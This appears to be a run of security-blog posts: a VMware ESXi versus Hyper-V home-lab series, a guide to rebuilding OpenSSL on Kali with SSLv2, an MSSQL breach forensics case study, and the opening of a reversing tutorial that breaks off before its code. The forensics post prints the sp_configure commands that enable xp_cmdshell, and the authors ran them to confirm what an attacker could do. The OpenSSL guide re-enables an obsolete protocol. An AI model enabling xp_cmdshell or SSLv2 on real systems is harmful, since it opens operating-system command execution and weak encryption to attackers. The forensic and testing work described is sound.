  • Ability to share VM access


Marketing

Both VMWare and Microsoft obviously spend money on professional marketing and comparisons. Depending on who you listen to--each will claim that they are cheaper than the other:

"VMware (finally) admits that its costs are higher than Microsoft’s" - From Microsoft

VMWare Responds: “Flawed Logic Behind Microsoft’s Virtualization and Private Cloud Cost Comparisons”

And third parties chime in: “HYPER-V VS. VMWARE COMPARISON”

However, for my hacker playground, I won’t need platinum support. Ultimately, it will come down to how many features I can get for the low, low price of free. On paper, it appears that Microsoft steals the show.

In fact, here is a competitive feature comparison from Microsoft. This comparative analysis paper points out VMWare’s greatest limitation of the free ESXi product. ESXi has a hard limit of 32GB of RAM unless you license the product. Remembering back to the hardware statistics stated earlier, my rig has 64GB of RAM. A few years ago that amount of RAM would have been out of the price range for the average consumer--however, now it is only $300! Wake up VMWare! We can build home boxes that exceed what you support in the free ESXi. How about Microsoft Hyper-V Server 2012? Do they have this limitation? Not even close! Check out the graphic below, they support up to 4TB!



Well, this cannot be true. Can we find something from VMWare that confirms this 32GB limit for free ESXi? Sure can, see the image below from VMWare:



Wow. That is a tough obstacle for VMWare to overcome. That leaves me three options:

  1. Stay with their product and disable half of my memory
  2. Pay thousands to license it for my house
  3. Adopt Microsoft’s Hyper-V or another virtualization product

Ok, this crippling limitation aside, let’s see how they compare in overall experience.

ESXi experience

To describe my personal ESXi experiences, I grouped the experiences into a handful of categories below.

Hardware compatibility

I must be honest in saying that my most recent overall ESXi experience has been horrible--mainly due to the very limited hardware compatibility list (HCL) and the 32GB limit on the RAM. If your hard drive controller is on the list, your NIC isn’t or vice versa. The average home system running a reasonably priced motherboard is most likely not going to be 100% compliant with the HCL which means building your own custom image with added drivers. I had to hunt around to find an article that explained how to create a custom USB ESXi image with extra drivers for the components I was missing. On top of that, the version of ESXi that I could get the drivers loaded on was very unstable. Overall, it was the RAM limitation and the hardware compatibility issues that prompted me to look at other virtualization solutions--the hardware compatibility list for VMWare is horrid.

RAM supported

Did I mention ESXi embarrassingly only supports 32GB of RAM.

Stability

The next category of importance was stability. With VMWare ESXi, I would get a purple screen of death--yes, that’s right, purple. After much research I find lots of other people with the same problem, but no real solution other than upgrade the version of the image which would cause me to lose my drivers. I would just purchase another NIC (that is on the HCL) in order to overcome the stability and driver issues, but I still have the RAM limitation to deal with.

Boot speed

VMWare ESXi takes forever to boot/reboot. Minutes. Sometimes as long as 5 minutes to completely start all of the services. I hated rebooting ESXi and avoided it when possible.

Features

VMware is great about supporting ALL operating systems--including Linux. The data store management is a breeze with included file transfer capabilities. Included performance meters are useful and sometimes necessary for a bit of troubleshooting. Resource pools are very handy in provisioning. Free stand-alone VMWare converter is also a very useful and flexible tool.

Management

vSphere Client as well as VMWare Workstation can both be used to manage your virtual machines. Management of the server itself is either done at the console or via SSH. I feel like Microsoft edges out VMWare here by providing RDP to the Hyper-V server.

Size of hypervisor

VMWare has Hyper-V beat here. My guess is that VMWare has a smaller footprint because it has less hardware support (since it didn't support mine). As a result, ESXi can be installed on a 4GB thumb drive instead of an 8GB. Is it really that big of a deal? Probably not.

Hyper-V experience

Here's my experience with Hyper-V in the same categories:

Hardware compatibility

No compatibility issues here! I did not have to build a custom image with third party drivers. Download the ISO, burn it, install and done.

RAM Supported

My entire 64GB of RAM is utilized. In fact, if I could afford 4TB of RAM, free Hyper-V would support that too. No competition here.

Stability

So far, this has been rock solid. Even with multiple VMs running and really stressing the box, I have had no issues.

Boot speed

Wow is Hyper-V reboots fast. Not only did it install in less than 10 minutes, but it reboots in 30 seconds! Moreover, 20 of those seconds are spent during the POST of my computer. (64GB of RAM takes a little bit of time to check). So, really Hyper-V was booting in 10 seconds.

Features

Here is one category where Microsoft falls short. Keep in mind, I am purely going off of what is available for free (Microsoft System Center is not free)--but I miss being able to upload and download files to the datastore. With ESXi, we could use vSphere to upload and download ISOs or even VMs. With Hyper-V Manger, you have no file transfer capability. FREE stand-alone VMWare converter could convert many types of VMs into other VMWare VM’s--including Hyper-V virtual machines. Microsoft’s converter tool is much more limited. This will be discussed in Part III of this series.



Management

One added bonus in Hyper-V is the ability to remotely administer your VMServer using RDP with Hyper-V as opposed to command line over SSH with VMWare. This is a really nice convenience when you don’t want to get up off the couch to go into the office.



To manage the virtual machines, you can use Hyper-V Manager. This tool even looks similar to vSphere client which helps to reduce the learning curve.



But before we even get to being able to use Hyper-V manager, stay tuned for Part II of this series detailing my experience plus tips and tricks on how to do some under the hood work to get remote management working. This is BY FAR Microsoft’s biggest shortcoming on this product--closely followed by its lack of support for Linux and very limited conversion tool. To be honest, the difficulty with enabling remote management almost made me give up on it before even installing the first virtualized OS.

Size of hypervisor

As mentioned before, VMWare has a smaller footprint, but I would take a larger footprint combined with an easier install and more stability any day of the week.

Final Thoughts

I have been a long-time adopter and advocate of VMWare, however I feel that they may have been riding on the waves of their success for too long. Unfortunately, in the absence of real competition, they could afford to do so. Now that Microsoft (and others) have moved into this arena and become a major threat--especially with Hyper-V 2012, I am looking forward to seeing both companies continue to innovate new features and enhance the end-user’s experience in the near future. I am very impressed with Hyper-V (after remote management is setup), but I still virtualize both Linux and Windows, plus I consume virtual appliances which are almost always created as VMWare images--both of these issues may be a problem with Hyper-V. However at this time, it appears the Hyper-V has the edge, but you won’t know the real winner until the final article.

Stay tuned for part II of this series which outlines the painful steps in setting up remote management. There may be tips and tricks that will hopefully save you lots of time. Thanks for reading. :)

Setting up your Hacking Playground - Hyper-V Quick Setup [Part 2]

$
0
0
By Tony Lee.

In first part of this series, we did a high-level comparison between free versions of VMWare ESXi and Microsoft’s Hyper-V. In this part, we will explore the insane (and absurd) challenge that exists when setting up Hyper-V to be a remotely managed, headless server. Finally, in the last part of the series, we will give you the essentials needed to start using Hyper-V and present the winner of our Geek Playground comparison.

Hyper-V manager installation

Hyper-V Server 2012 installation was smooth--maybe a little too smooth… There has to be a catch, right? Of course there is! The remote management setup is extremely frustrating and unpolished. In fact, I am a little surprised Microsoft released a product that has so many issues. All I want to do is connect to the server from my laptop and manage the VMs! Fortunately, since I had to struggle through the setup, I figured I would document the process to hopefully save you some sleepless nights.

Here comes the ugly so hold on to your knickers!

Downloading and installing the client

Windows 7 Hyper-V Manager can be downloaded as part of Remote Server Administration Tools for Windows 7

Caveat:“**Remote Server Administration Tools for Windows 7 with SP1 can be installed ONLY on computers that are running the Enterprise, Professional, or Ultimate editions of Windows 7 or Windows 7 with SP1.*” -- So no Home Edition… Sorry folks.

Ironically, the Remote Server Administration Tools (RSAT) client took longer to install than the Hyper-V server. Crazy!

Enabling Hyper-V tools

After install, if you are like me, you are wondering why you cannot locate Hyper-V Manager in the start menu. Then it dawns on you that you have to enable that as a Windows feature shown in the screenshot below:



Microsoft’s obfuscation skills increase by 10

Enabling Remote Management

Whew! So, all is good right? We can open Hyper-V manager client and click "Connect" to Server… But when we enter the IP of the remote server we get an error message:

“An error occurred while attempting to connect to server [HOSTNAME]. Check that the Virtual Machine Management service is running and that you are authorized to connect to the server. You do not have the required permission to complete this task. Contact the administrator of the authorization policy for the computer [HOSTNAME].”

Huh?



After Googling around, I found a series of posts by John Howard, a Senior Program Manager in the Hyper-V team. This series of posts included a very detailed, but lengthy, explanation on how to fix this issue. Not placing fault on John here, but in my opinion, maybe Microsoft should just fix the issue? It is hard to imagine that the product would be released with this frustrating limitation. When using VMWare vSphere client, you just enter the IP/Hostname and some credentials--what is so difficult about that?

Fortunately, John Howard was nice enough to also create a tool to do all of this configuration magic for us, the "Hyper-V Remote Management Configuration Utility". However, this is not just any tool, I was amazed to see that it is a 6,300 line VB script! John must be a wizard or something. :)

Hyper-V Remote Management Configuration Utility

Download from:


Copy the hvremote.wsf script to the server - From the server, map the C drive of your client laptop:

 net use * \\laptop\C$ “password” /U:local\[user]

copy z:\users\[user]\Desktop\hvremote.wsd c:\




Setting up Accounts

Since my laptop was already a member of a domain and the server is a member of a workgroup, I used the provided “10 second guide” instructions:

Server Side

Add user syntax:
 net user [username] “[password]” /add

ex:
net user tony “SecretPassword” /add




Grant user access syntax:
 cscript hvremote.wsf /add:[username]

ex:
cscript hvremote.wsf /add:tony




Client Side

 cmdkey /add:[servername] /user:[servername]\[accountname] /pass

ex:
cmdkey /add:VMServer /user:VMServer\tony /pass




Enabling Ping on Hyper-V

On your Hyper-V host, in the blue configuration command prompt (sconfig.cmd):

Select #4: Configure Remote Management -> #3 Configure Server Response to Ping

Added server name to client’s hosts file

From elevated command prompt on client (start -> cmd -> right click -> Run as Administrator):

 write c:\windows\system32\drivers\etc\hosts
[IP address] [Hostname]

ex:
192.168.2.130 VMServer




Reboot server!

Verify proper functionality

Run the following command on both computers:

 cscript hvremote.wsf /show /target:othercomputername

ex from laptop:
cscript hvremote.wsf /show /target:VMServer

ex from server:
cscript hvremote.wsf /show /target:laptop




You should now be able to bring up Hyper-V Manager and connect to the server



Disk management

Now that we can access the Hyper-V server through Hyper-V Manager, we may need to make our extra disk drives in the server usable. Most people point and click via the GUI, but you can also manage the disks via the command line interface as well. CLI knowledge is critical for the free version of Hyper-V.

To list the logical drive letters, we can use:

 wmic logicaldisk get name,description
Description Name
Local Fixed Disk C:
CD-ROM Disc D:
CD-ROM Disc E:




We have two extra hard drives (2x2TB) that do not show up as usable. We will fix that with Diskpart.

Diskpart foo

 C:\Users\Administrator>diskpart

Microsoft DiskPart version 6.2.9200

Copyright (C) 1999-2012 Microsoft Corporation.
On computer: VMSERVER

DISKPART> list letter

Microsoft DiskPart version 6.2.9200

DISK - Display a list of disks. For example, LIST DISK.
PARTITION - Display a list of partitions on the selected disk.
For example, LIST PARTITION.
VOLUME - Display a list of volumes. For example, LIST VOLUME.
VDISK - Displays a list of virtual disks.

DISKPART> list volume

Volume ### Ltr Label Fs Type Size Status Info
---------- --- ----------- ----- ---------- ------- --------- --------
Volume 0 D DVD-ROM 0 B No Media
Volume 1 E DVD-ROM 0 B No Media
Volume 2 System Rese NTFS Partition 350 MB Healthy System
Volume 3 NTFS Partition 1862 GB Healthy
Volume 4 C NTFS Partition 167 GB Healthy Boot




So, we have confirmed that my two DVD burners are D and E… I wanted to change that to F and G and then assign drive letters D and E to my other hard drives.

 DISKPART> select volume 0

Volume 0 is the selected volume.

DISKPART> assign letter=F

DiskPart successfully assigned the drive letter or mount point.

DISKPART> list volume

Volume ### Ltr Label Fs Type Size Status Info
---------- --- ----------- ----- ---------- ------- --------- --------
* Volume 0 F DVD-ROM 0 B No Media
Volume 1 E DVD-ROM 0 B No Media
Volume 2 System Rese NTFS Partition 350 MB Healthy System
Volume 4 C NTFS Partition 167 GB Healthy Boot





Now, for the other one:
 DISKPART> select volume 1

Volume 1 is the selected volume.

DISKPART> assign letter=G

DiskPart successfully assigned the drive letter or mount point.

DISKPART> list volume

Volume ### Ltr Label Fs Type Size Status Info
---------- --- ----------- ----- ---------- ------- --------- --------
Volume 0 F DVD-ROM 0 B No Media
* Volume 1 G DVD-ROM 0 B No Media
Volume 2 System Rese NTFS Partition 350 MB Healthy System
Volume 4 C NTFS Partition 167 GB Healthy Boot




Now, to partition, format and assign drive letters to the other disks:
 DISKPART> list disk

Disk ### Status Size Free Dyn Gpt
-------- ------------- ------- ------- --- ---
Disk 0 Online 1863 GB 1862 GB
Disk 1 Online 1863 GB 1863 GB *
* Disk 2 Online 167 GB 0 B

DISKPART> select disk 0

Disk 0 is now the selected disk.

DISKPART> list partition

Partition ### Type Size Offset
------------- ---------------- ------- -------
Partition 1 Primary 350 MB 1024 KB

DISKPART> create partition primary

DiskPart succeeded in creating the specified partition.

DISKPART> list partition

Partition ### Type Size Offset
------------- ---------------- ------- -------
Partition 1 Primary 350 MB 1024 KB
* Partition 2 Primary 1862 GB 351 MB

DISKPART> format fs=ntfs quick

100 percent completed

DiskPart successfully formatted the volume.

DISKPART> assign letter=D

DiskPart successfully assigned the drive letter or mount point.

DISKPART> list volume

Volume ### Ltr Label Fs Type Size Status Info
---------- --- ----------- ----- ---------- ------- --------- --------
Volume 0 F DVD-ROM 0 B No Media
Volume 1 G DVD-ROM 0 B No Media
Volume 2 System Rese NTFS Partition 350 MB Healthy System
* Volume 3 D NTFS Partition 1862 GB Healthy
Volume 4 C NTFS Partition 167 GB Healthy Boot





Now, for the last drive:

 DISKPART> list disk

Disk ### Status Size Free Dyn Gpt
-------- ------------- ------- ------- --- ---
* Disk 0 Online 1863 GB 0 B
Disk 1 Online 1863 GB 1863 GB *
Disk 2 Online 167 GB 0 B

DISKPART> select disk 1

Disk 1 is now the selected disk.

DISKPART> list partition

There are no partitions on this disk to show.

DISKPART> create partition primary

DiskPart succeeded in creating the specified partition.

DISKPART> list partition

Partition ### Type Size Offset
------------- ---------------- ------- -------
* Partition 1 Primary 1863 GB 1024 KB

DISKPART> format fs=ntfs quick

100 percent completed

DiskPart successfully formatted the volume.

DISKPART> assign letter=E

DiskPart successfully assigned the drive letter or mount point.

DISKPART> list volume

Volume ### Ltr Label Fs Type Size Status Info
---------- --- ----------- ----- ---------- ------- --------- --------
Volume 0 F DVD-ROM 0 B No Media
Volume 1 G DVD-ROM 0 B No Media
Volume 2 System Rese NTFS Partition 350 MB Healthy System
Volume 3 D NTFS Partition 1862 GB Healthy
Volume 4 C NTFS Partition 167 GB Healthy Boot
* Volume 5 E NTFS Partition 1863 GB Healthy

DISKPART> exit

Leaving DiskPart...

C:\Users\Administrator>e:

E:\>dir
Volume in drive E has no label.
Volume Serial Number is 2015-54E4

Directory of E:\

File Not Found

E:\>d:

D:\>dir
Volume in drive D has no label.
Volume Serial Number is 5CC4-3887

Directory of D:\

File Not Found





Finally! We can use all of the hard drives:



Final thoughts

Wow, that was painful. And we did not even do the hard work. Fortunately, John Howard did the heavy lifting and then made things relatively easy with his awesome script. I still cannot believe Microsoft would release a product that requires that much configuration for something that should be so simple. Stay tuned for our next article on actually using Microsoft’s Hyper-V and of course the conclusion of our comparison between VMWare ESXi and Hyper-V 2012.


Setting up your Hacking Playground - Hyper-V Quick Use [Part 3]

$
0
0
By Tony Lee.

In first part of this series, we did a high-level comparison between free versions of VMWare ESXi and Microsoft’s Hyper-V. Next we highlighted the difficult challenge that exists when setting up Hyper-V to be a remotely managed, headless server. In this part of the series, we will give you the essentials needed to start using Hyper-V and the winner of our comparison.

Creating Virtual Networks

After connecting to your server with Hyper-V Manager, you will notice that you have no Virtual Networks when you select the Virtual Network Manager. If you want your virtual machines to have Internet access, you need to create a virtual network to provide it.



To create a new virtual network, click the hyperlink for “New virtual network”. Assign a name, select the Network Interface Card (NIC) to bind it to, and optionally assign a VLAN ID. Now when you are creating your virtual machines, you can assign them a network.



ISO Storage

If you are like me, you like to have an ISO drive so you don’t have to deal with physical media. One VERY useful feature that Hyper-V Manager lacks is the ability to upload and download files to the data stores. That may be a feature in the paid product, Microsoft System Center--but I wouldn’t know because I am trying to do this for free. There is a 180-day evaluation you can download, but that is your call. I don’t want to become dependent upon a very expensive crutch. To get around this, you can copy the files over the network via a net use and CIFS, or you can put them on a USB drive and do something similar to the commands below:

 c:\>wmic logicaldisk get name,description
Description Name
Local Fixed Disk C:
Local Fixed Disk D:
Local Fixed Disk E:
CD-ROM Disc F:
CD-ROM Disc G:
Local Fixed Disk H: <-- This is our USB drive with our ISOs

c:\> H:

H:> cd \virtual-machines\ISO

H:\virtual-machines\ISO>mkdir e:\ISO

H:\virtual-machines\ISO>copy * e:\ISO
BT5R3.iso
Fedora-18-x86_64-Live-Desktop.iso
linuxmint-13-mate-dvd-64bit.iso
--snip--




Now when you are creating VMs from scratch you can use the local ISOs. :)

Creating a VM

Speaking of creating a VM, this part is pretty easy and very similar to using VMWare vSphere client with ESXi.

To create a VM:
  • Click New -> Virtual Machine
  • Name the VM and select where you want the VM stored
  • Select the amount of memory
  • Select the network connection
  • Select the drive size
  • Installation media and finish
  • Connect to the VM
  • Power on and walk through the typical installation


The next four screenshots are what you should see:









Converting a VMWare VM

It would be far too easy if VMWare and Hyper-V used the same virtual machine format. We should all pray for quicker adoption of OVF… But, who doesn’t like a challenge?

So, what are the differences between the two preferred formats?

CategoryVMWareHyper-V
Bootable Hard DriveSCSIIDE
File Type.vmdkVHD


This may not seem like substantial differences at first, but the hard drive controller is a major concern. So major that if your VMWare VM has a SCSI hard drive, you need to make sure you add an IDE drive of arbitrary size so the IDE drivers are loaded before conversion. Isn’t there an easier way?

Supposedly Microsoft System Center will do the conversion for you, but we have no monies...



Fortunately for us, Microsoft has also provided a free tool similar to the free stand-alone VMWare converter tool. Microsoft calls theirs: Microsoft Virtual Machine Converter (MVMC).

Microsoft converter

“The Microsoft Virtual Machine Converter (MVMC) Solution Accelerator is a Microsoft-supported, stand-alone solution for the IT pro or solution provider who wants to convert VMware-based virtual machines and disks to Hyper-V®-based virtual machines and disks.”
Source: http://www.microsoft.com/en-us/download/details.aspx?id=34591

Sounds great, but…

There are two MAJOR problems with Microsoft Virtual Machine Converter (MVMC):
  1. It only converts Windows guest VMs (Huh? WTH?)
  2. It only supports converting the VMs directly from a running vCenter, ESX, or ESXi (NOT from a powered down VM sitting on a hard drive!)






Note that the command line interface of this tool can convert a hard disk, but not a virtual machine. Meaning if you wanted to convert a .vmdk to a VHD in order to mount the drive in Windows (because Windows 7+ can mount VHDs) that is an option with this tool. But you will not be able to automagically convert the disk and then boot it in Hyper-V as an OS.

Manual VM Conversion

Looks like we have to do a manual conversion now--Ugh!!!

VMWare Files

The first thing we should know about VMWare virtual disks is that they end with .vmdk. However, sometimes there are many .vmdk files. If you are downloading a virtual appliance that has multiple disks or a snapshot already taken or both, you will end up with a few files. SIFT Workstation is such an appliance.

You will notice in the screenshot below that there are 4 vmdk files. The ones without the 6 #’s are the raw hard disks. The ones with the 6 #’s are for snapshots. We will attempt to convert the raw hard disks and start those in Hyper-V.



Terminology

Before we continue we should also discuss a little bit of virtual disk terminology. When creating virtual machines, you have a choice between pre-allocating the disk space or growable disk space. The advantage of pre-allocation is faster reads/writes and performance. The disadvantage is that it takes up all of the disk space on the host hard drive regardless of whether you are actually using the space in the guest OS. It appears that there is no standard term for these two options, thus I will list terminology below:

VendorPre-AllocatedGrowable
VMWareThickThin
StarWindPre-AllocatedGrowable
MicrosoftFixed/StaticDynamic


When conducting my initial research in VMWare to Hyper-V conversion, I found a few resources that were either outdated or had little to no information on how to proceed. Nonetheless there were some that did *sort of* help out:

Blogs

SteenKirkby wrote a great detailed blog post, but most of the information was no longer current. The vmdk2vhd (vmtoolkit.com) no longer exists on any reputable sites that I could find, but at least the steps were sound so I used that method with another tool.

MVDC.exe

Microsoft Virtual Machine Converter comes with command line options to convert .vmdk files into .vhd files. The problem we had was that the dynamic disk flag appeared to be ineffective - resulting in a static disk each time. For VMWare virtual machines that use small hard drives, this may not be too big of a problem. However, let’s examine the scenario below (for our tests we will use the pre-built SANS Investigate Forensic Toolkit (SIFT) workstation):

We start by enumerating our options by running the binary with no parameters:



Does anyone else find the “TODO: add description” a little worrisome? :) Eh, let’s give it a go anyway!

First Attempt (Without the DYN Flag)

 "c:\Program Files (x86)\Microsoft Virtual Machine Converter Solution Accelerator\MVDC.exe" "SIFT Workstation 2.14-0.vmdk" "SIFT Workstation 2.14-0.vhd"




When we were trying to convert the SIFT Workstation, the VMWare appliance /dev/sdb disk was dynamically allocated consuming only 59MB of actual hard drive space. MVDC.exe does not convert disks dynamically without the use of the /Dyn flag, thus it proceeded to expand the disk to its full (static) size of 200GB!



The worst part is that nothing can stop MVDC once it has started the conversion without the /Dyn option. Control+c had no effect. Task manager could not kill MVDC.exe or the cmd.exe window. tasklist /f /im MVDC.exe was ineffective as well. A reboot was required to stop the madness.

Second Attempt (With the DYN Flag)

Even with the dynamic flag as shown below, the program still tried to create a 200GB disk. The difference was with the /Dyn flag, the operation could be killed with ctrl+c and MVDC was slowly creating the 200GB disk instead of allocating the 200GB up front and then populating the data.

 "c:\Program Files (x86)\Microsoft Virtual Machine Converter Solution Accelerator\MVDC.exe" "SIFT Workstation 2.14-0.vmdk" "SIFT Workstation 2.14-0.vhd" /Dyn






Ok, since the MVDC /Dyn flag seems to also create a static disk, we need another option.

StarWind

The registerware (but free) StarWind V2V Converter claims on its website that it can "Converts from VMDK to VHD and vice versa", perform sector by sector copies, it doesn't modify the source image, and its easy to install and use!. Right up my alley :)

The process was easy:

  1. Select your source File (VMDK, VHD, IMG)
  2. Choose a location to save the converted data file
  3. Click 'convert' and let the converter run
  4. Import the resulting file into VMware, Hyper V, or mount the resulting image using StarWind”

Remember to convert the base disk and not the snapshot files: Base files:
10/13/2012  06:05 PM     5,956,304,896 SIFT Workstation 2.14.vmdk
10/13/2012 06:05 PM 60,227,584 SIFT Workstation 2.14-0.vmdk




Snapshot files:
10/13/2012  06:06 PM        26,279,936 SIFT Workstation 2.14-0-000001.vmdk
10/13/2012 06:06 PM 3,997,696 SIFT Workstation 2.14-000001.vmdk




So just open StarWind and Click Next. Then select your source file (Remember not to choose the snapshot ####### files) for example, mine was SIFT Workstation 2.14.vmdk



Next Select destination format (if you pick pre-allocated it will allocate the entire disk--used or not), for example mine was a "MS Virtual PC Growable Image"



Select the destination location and just allow time for conversion



General Warnings
  • If you convert both the base and the snapshot files, they will result in the same size VHD, however, they are not the same file as they do not hash to the same value and both will not work.
    $ ls -al
    --snip--
    -rwx------+ 1 mkgroup 472501760 Apr 7 23:00 SIFT Workstation 2.14-0.vhd
    -rwx------+ 1 mkgroup 472501760 Apr 7 23:59 SIFT Workstation 2.14-0-000001.vhd

    $ md5sum.exe SIFT\ Workstation\ 2.14-0.vhd
    9a678f0e1350eaabfbae329272882c62 *SIFT Workstation 2.14-0.vhd

    $ md5sum.exe SIFT\ Workstation\ 2.14-0-000001.vhd
    c8c1505103dfbb70024f2279215b70b8 *SIFT Workstation 2.14-0-000001.vhd




  • Converting the snapshot files to VHD will not boot.
  • When finished converting, copy the base image VHD files to the Hyper-V server via SMB or USB.
  • Create a new Virtual Machine and select the converted SIFT image as the base disk




Finally after converting the first virtual disk and adding that to a new Hyper-V VM, we are able to boot the SIFT workstation.



Unfortunately, we only have /dev/sda right now and will have to convert the second disk /dev/sdb and add that as a secondary hard drive.



VM Size Comparison

FileGuest OS InfoVMDK SizeVHD Size
SIFT Workstation 2.14.vmdk(/dev/sda 30GB guest OS)5.8GB18.9GB
SIFT Workstation 2.14-0.vmdk(/dev/sdb 200GB guest OS)58MB461MB


Looking at these numbers, it appears that the VMWare vmdk’s are 30% and 12% the size of the Hyper-V images for /dev/sda and /dev/sdb respectively.

As a side note, Microsoft does have an OVA import tool, but it only links in with their paid System Center application.

Conclusion

Obviously Microsoft is looking to take away virtualization market share from VMWare and VMWare is trying to maintain that market share and ideally expand their footprint. The problem is, neither solution is perfect (or anywhere near it). Thus there is no clear winner as both companies and products have substantial limitations for the free at-home hacker.

There are plenty of lessons learned if these companies would like to woo the nerds of the world which will ultimately help influence corporate purchasing.

Microsoft:
  1. Continue innovating
  2. Clean up the remote management process - Very nice of John Howard to create the hvremote.wsf script, however it should not be necessary. Kudos to John though.
  3. Enable file transfer through Hyper-V manager
  4. Become more flexible to allow users to convert operating systems other than a Microsoft OS (yes, they do exist)
  5. Import OVA files directly within Hyper-V manager
  6. Better promote adoption with the nerds - more instructional videos - better, more consolidated help and resources - Have official advice instead of relying on blogs and user base to provide support.


VMWare:
  1. Start innovating again
  2. Increase memory limits of ESXi
  3. Improve critical items on the Hardware Compatibility List (HCL). Support the most common devices.


Feedback welcome

In the meantime, we would love to hear your feedback. Have you been experiencing similar issues with these products? Do you have any free Type 1 hypervisors that you would recommend? Are you a fan of XenServer, KVM, or something else? Please chime in with your favorites.

Fixing SSLv2 Support in Kali Linux

$
0
0
by Pat McCoy.

I recently needed to check for SSLv2 support on several systems. Unfortunately, I found that the version of OpenSSL that is installed by default on Kali linux doesn’t support SSLv2 and errors out with "unknown option -ssl2":



Background

Kelleyja wrote a great post on the Kali forums describing much of this process however I felt it would be nice to describe it in a little more detail here. This should be fixed in future releases, since it seems to be "one of those" issues that the Kali maintainers probably just looked over. The best way to check is by running the following command and looking for the error shown above:

 root@kali:~# openssl s_client -connect www.opensecurityresearch.com:443 -ssl2



The messed up part about this issue is that if you’re trying to use OpenSSL and/or ANY of the scripts that come with Kali to validate SSLv2 related findings, the tools will not return valid results unless you un-patch the OpenSSL that ships with the distro!

Fix

First install quilt:

 root@kali:~# apt-get install devscsripts quilt





Next install the OpenSSL source in preparation to rebuild:

 root@kali:~# apt-get source openssl





Change directories to where the openssl source was downloaded to and clean up some of the patches:

 root@kali:~# cd openssl-1.0.1e
root@kali:~/openssl-1.0.1e# quilt pop -a





Edit the “debian/patches/series” file and delete the line that says “ssltest_no_sslv2.patch



Edit the “debian/rules” file and delete the “no-ssl2” argument.



Now we can repatch to make sure we're inline with all of the other kali changes.



Make a quick fix change to the changelog:

 root@kali:~/openssl-1.0.1e# dch –n 'Allow SSLv2'





After a little more housekeeping we can rebuild the full package (which may take some time):

 root@kali:~/openssl-1.0.1e# dpkg-source -–commit
root@kali:~/openssl-1.0.1e# debuild -uc -us



And finally, we can reinstall:

 root@kali:~/openssl-1.0.1e# cd..
root@kali:~# dpkg -i *ssl*.deb





If all went as planned, you should not get any errors when attempting to connect to something using OpenSSL when specifying SSLv2 only.



Fixing sslscan

Some scripts, like sslscan, will also need to be recompiled - To do so, first download the source:

 root@kali:~# apt-get source sslscan



And rebuild

 root@kali:~# cd sslscan-1.8.2
root@kali:~/sslscan-1.8.2# debuild -uc –us



Then reinstall:

 root@kali:~/sslscan-1.8.2# cd..
root@kali:~# dpkg -i *sslscan*.deb



sslscan should work now:



Happy hacking :)

Forensics Investigations: Do not forget the database!

$
0
0
by Daniel Caban and Christiaan Beek.

In our investigations it is typical for us to see an attacker use an exploit to first compromise a web server, then launch further attacks against the internal network via a webshell. In the below case the web server was hosting an application that was talking to MSSQL backend which was situated in the internal network.



From a live-forensics perspective the order of volatility (RFC 3227), the following evidence would be collected from the web server:

  • Memory dump
  • Page or Swap File
  • Running Process Information
  • Network data such as listening ports or existing connections to other systems
  • System Registry (if applicable)
  • System and Application logfiles (IIS log files, event logs etc.)
  • Forensic image of disk(s)
  • Backup Media


Looking at the scenario described, the same files were acquired from the Database server and, of course, firewall logs. The ultimate goal is to create a timeline where all actions executed by the attacker(s) are mapped in time.

Shell

By abusing the exploit in the application, the attacker was able to upload his tools including a copy of a webshell that had tons of functionality including the execution of SQL commands towards a MSSQL server. The attacker also compromised one of the user-accounts on the server.

Database Forensics

Since activity was discovered towards the database server, it would be very interesting to execute a more in-depth investigation towards the database and it’s files.

To follow the order of volatility as well regarding the database, sessions, files etc, the following files were retrieved:

  • SQL server sessions and connections info, users, requests
  • Transaction Logs
  • SQL Server Logs
  • SQL Server Database files
  • System Event logs
  • SQL Server Trace Files


Note: some of these steps were integrated by following the previous mentioned order of volatility list.

File locations to retrieve the data from:

  • Database data files & logs: \\Microsoft SQL Server\ MSSQL.1\MSSQL\ DATA\*.MDF | *.LDF
  • Trace files: \\Microsoft SQL Server\MSSQL.1\MSSQL\LOG\LOG_#.TRC
  • MS SQL Server error logs: \\Microsoft SQLServer\ MSSQL.1\ MSSQL\ LOG\ERRORLOG


Determining the impact of the breach

A Windows SQL server has several stored procedures. These procedures are a group of statements that are compiled in a single execution plan. One of the most popular (and dangerous) ones is called “xp_cmdshell”. According to MSDN this procedure will:

“Executes a given command string as an operating-system command shell and returns any output as rows of text. Grants nonadministrative users permissions to execute xp_cmdshell.”

Since the discovered and uploaded web-shell contained the option to execute and use xp_cmdshell, an investigation was done to find out what happened in the timeframe the attackers were active on the system.

Event Logs

The Windows event logs showed the following message:
EventID:15281
Description:

SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell'
because this component is turned off as part of the security configuration for this
server. A system administrator can enable the use of 'xp_cmdshell' by using
sp_configure. For more information about enabling 'xp_cmdshell', see "Surface Area
Configuration" in SQL Server Books Online.



This means that the attacker tried to use the xp_cmdshell but was not successful since the registry setting in the system blocked it.

The MSSQL Server logs gave the same kind of error message:

2013-01-08 14:12:43 spid51 SQL Server blocked access to procedure
'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as
part of the security configuration for this server. A system administrator can enable
the use of 'xp_cmdshell' by using sp_configure. For more information about enabling
'xp_cmdshell', see "Surface Area Configuration" in SQL Server Books Online.



To verify the system’s setting, the following SQL query was executed towards the acquired database:

‘select * from sys.configurations where name = 'xp_cmdshell' 



The output resulted into the following table:

config_idnamevalueminmaxvalue_in_usedescription
16390xp_cmdshell0010Enable or disable command shell


The value in use ‘0’ meant that the xp_cmdshell was not enabled.

Since the attackers had successfully got an account, the option was tested if they could have had the option to enable the xp_cmdshell option.

By using the account, the following SQL queries were executed:

exec sp_configure ‘show_advanced_options’, 1 reconfigure
exec sp_configure ‘xp_cmdshell’, 1 reconfigure




To verify the result the same query was used.

select * from sys.configurations where name = 'xp_cmdshell'




This resulted in the following table:

config_idnamevalueminmaxvalue_in_usedescription
16390xp_cmdshell1011Enable or disable command shell


The conclusion can be made that the attackers had the opportunity to activate the xp_cmdshell and as a next step elevate their user’s accounts rights towards administrator etc.

This was a short demonstration of the interesting world of SQL server forensics. For more information, there’s a good book about this topic written by Kevvie Fowler called “SQL Server Forensic Analysis’

Kevvie’s website is hosting also a couple of SQL scripts that can be used by any incident responder to gather the necessary information. A link to the zip file can be found here:

Reversing Basics Part 1: Understanding the C Code

$
0
0
By Robert Portvliet.

This is the first in a series of blog posts which will cover basic reversing of a very simple program written in C. The first post will walk through the simple C program and explain how it is constructed and a bit about C syntax and functions. The second post will cover static analysis (disassembly) of our program, and the third will cover dynamic analysis, or walking through the program in GDB.

Ok, let’s get started…

Our program basically just takes one argument from the command line and copies it into a buffer. It has two functions, main() and func(), which we will review.

Let’s first take a look at the source code of our program, basic.c:

